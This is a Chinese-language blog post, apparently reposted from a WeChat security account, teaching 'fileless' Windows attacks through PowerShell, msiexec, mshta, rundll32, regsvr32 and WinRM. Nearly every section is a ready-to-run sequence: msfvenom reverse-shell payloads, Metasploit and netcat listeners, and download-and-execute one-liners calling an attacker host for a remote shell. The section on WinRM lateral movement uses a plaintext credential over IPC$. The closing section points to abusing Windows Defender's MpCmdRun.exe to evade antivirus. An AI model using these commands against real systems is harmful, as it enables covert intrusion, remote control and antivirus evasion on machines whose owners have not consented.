文章前言
所谓的”无文件落地攻击”是指恶意程序文件不直接落地到目标系统的磁盘空间中的一种攻击手法,常用于逃避传统的安全检测机制,本篇文章将就此进行简要介绍几种目前比较流行的无文件落地攻击手法。
常见技巧
powershell
PowerShell 是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的shell不同,PowerShell 构建在 .NET 公共语言运行时(CLR)的基础之上,接受并返回.NET 对象,这一根本上的改变引入了全新的自动化工具和方法。
PowerShell cmdlet旨在处理对象,对象是结构化信息,不仅仅是屏幕上出现的字符串,命令输出会始终包含你在需要时可使用的额外信息,如果以前使用过文本处理工具来处理数据,那么在PowerShell中使用时,会发现它们的行为有所不同,在大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据的各部分。
Powershell的强大功能一方面为Windows平台开发人员提供了便捷性,但同时也为安全研究人员打开了一条新的道路,下面我们简单的介绍一下如何通过powershell来实现无文件落地攻击,具体的步骤如下:
Step 1:使用Msfvenom生成一个攻击载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f psh-reflection >shell.ps1
Step 2:在msf中启动监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.174.129
LHOST => 192.168.174.129
set LPORT 4444
set ExitOnSession false
exploit -j -z
Step 3:使用python启动一个简易的Web服务器用于托管shell.exe
python2 -m SimpleHTTPServer 1234
Step 4:之后在目标主机中使用powershell执行以下命令,实现无文件落地攻击
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.129:1234/shell.ps1'))"
Step 5:之后再web服务器中收到一条请求记录
Step 6:在MSF端成功收到反弹的shell
msiexec
msiexec.exe属于系统进程,是Windows Installer的一部分,用于安装Windows Installer安装包(MSI),对系统的正常运行非常重要,一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大,我们亦可以使用其作为无文件落地的媒介,下面举例说明:
Step 1:使用Msfvenom构造一个恶意的msi程序
msfvenom -p windows/exec CMD="powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.174.129 -p 6666 -e cmd" -f msi > evil.msi
Step 2:使用python开启一个简易的web服务器用于托管msi载荷
Step 3:在攻击主机上使用nc监听端口
nc -lvp 6666
Step 4:在目标主机中执行以下命令实现无文件落地执行载荷
msiexec /q /i http://192.168.174.129:1234/evil.msi
Step 5:之后再web端成功接收到请求记录,同时在NC端返回cmd命令交互
mshta
mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,从而实现无文件落地攻击,下面是具体的步骤:
Step 1:使用msf的exploit/windows/misc/hta_server模块进行测试
Step 2:在目标主机上直接执行以下命令实现无文件落地攻击
mshta.exe http://192.168.174.129:8888/OqD8kxY2Z.hta
Step 3:成功反弹shell回来
rundll32
Rundll32.exe,即”执行32位的DLL文件”,它是一个Microsoft二进制文件,其主要功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是”执行64位的DLL文件”,这两个是病毒软件制作者的最爱,也是在以往病毒分析报告中出现最多的应用媒介,Rundll32.exe的使用方法如下:
Rundll32.exe DLLname,Functionname Arguments
参数说明:
DLLname:需要执行的DLL文件名
Functionname:需要执行的DLL文件的具体引出函数
Arguments:函数的具体参数
下面我们就Rundll32.exe在无文件落地攻击中的利用方式进行介绍,具体方法如下(至于进程隐藏有兴趣的可以自我查找一番):
Step 1:运行JSRat监听本地5678端口
./JSRat.py -i 192.168.174.129 -p 5678
Step 2:访问client comand连接客户端执行命令
Step 3:将上述命令复制到目标主机上执行
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.129:5678/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Step 4:成功反弹shell回来
regsvr32
Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,WinXP及以上系统的regsvr32.exe在windowssystem32文件夹下,2000系统的regsvr32.exe在winntsystem32文件夹下,我们可以通过该命令来实现无文件落地攻击,和上面类似这里也借助JSRat来实现,首先我们在本地运行JSRat监听本地5678端口:
Step 1:运行JSRat监听本地5678端口
./JSRat.py -i 192.168.174.129 -p 5678
Step 2:访问client comand连接客户端执行命令
Step 3:将上述命令复制到目标主机上执行
regsvr32.exe /u /n /s /i:http://192.168.174.129:5678/file.sct scrobj.dll
Step 4:成功反弹shell回来
知识拓展
这里介绍一种在内网中常用的无文件落地攻击方法——WinRM无文件落地攻击!!!
WinRM
WinRM是Windows Remote Managementd的缩写,是一种允许管理员远程执行系统管理任务的服务,通信通过http(5985)或https soap(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证,在内网渗透中不仅可以用于横向移动,也可以用于无文件落地攻击提升自我的隐匿性。
测试环境
-
域内主机:Windows Server 2012(192.168.174.2)
-
域内主机:Windows Server 2008 R2(192.168.174.4)
-
攻击主机:Kali Linux(192.168.174.129,这里省去了内网穿透)
实验目的
在Kali主机中通过MSF框架创建后门文件,之后将其传送到我们已经控制的域内主机(windows server 2008 R2)中,之后在另一域内主机Windows Server 2012中通过WinRM实施无文件攻击,最终返回一个新的具备较高隐藏度的Windows Sever 2012的shell给我们的攻击主机,以供对内网进行深入拓展和利用
攻击步骤
Step 1:在攻击主机中通过msfvenom创建后门文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f exe >shell.exe
Step 2:启动MSF框架并设置监听
Step 3:将shell.exe文件传送到Windows Server 2008 R2的c盘
Step 4:开启Windows Server 2012中的WinRM
winrm quickconfig
Step 5:之后在Windows Server 2012中尝试通过IPC$链接Windows Server 2008 R2
net use \192.168.174.4ipc$ "test@1233" /user:testuser
Step 6:之后开启Windows Server 2008 R2中的文件共享权限
Step 7:在Windows Server 2012中执行以下命令来实现无文件落地攻击
winrm invoke create wmicimv2/win32_process @{commandline="\192.168.174.4cshell.exe"}
Step 8:成功反弹shell到MSF中
文末小结
无文件落地攻击的方法与技巧多种多样,自然不局限与上面的几种,当然有时候如果要真的提高自身的隐匿程度以及实现免杀等技术时可以结合白名单以及一些Windows系统应用文件的特性,例如通过Windows Defender自带的命令执行工具”MpCmdRun.exe”来实现远程下载恶意文件并执行达到CS上线的目的,更多的方法与技巧尽在探索中……
原文始发于微信公众号(七芒星实验室):无文件落地攻击